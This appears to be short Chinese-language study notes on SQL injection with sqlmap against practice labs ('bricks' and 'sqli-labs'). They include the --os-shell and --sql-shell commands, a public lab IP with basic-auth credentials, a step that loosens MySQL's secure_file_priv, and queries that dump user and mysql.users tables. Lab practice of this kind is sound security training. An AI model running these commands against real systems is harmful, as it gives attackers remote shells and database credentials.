1. 拿shell(拿shell之前必须有对数据库有写得权限),在my.ini文件最下面的[mysqld]下添加
secure_file_priv=
添加完重启mysql服务
查看当前系统有哪些变量: show variables;
拿shell:python sqlmap.py “http://192.168.48.131/bricks/content-1/index.php?id=0” --os-shell
可以查看IP地址(ipconfig 回车),如下
2. 拿sql_shell,拿完可以直接进行执行sql语句
python sqlmap.py “http://192.168.48.131/bricks/content-1/index.php?id=0” --sql-shell
select * from security.users;
select * from mysql.users;
3. 公网上拿shell
python sqlmap.py -u http://47.111.130.141:9002/sqli-labs/Less-1/?id=2 --auth-type="Basic" --auth-cred="user2:pentest2" --os-shell --batch
python sqlmap.py -u http://47.111.130.141:9002/sqli-labs/Less-1/?id=2 --auth-type="Basic" --auth-cred="user2:pentest2" --sql-shell --batch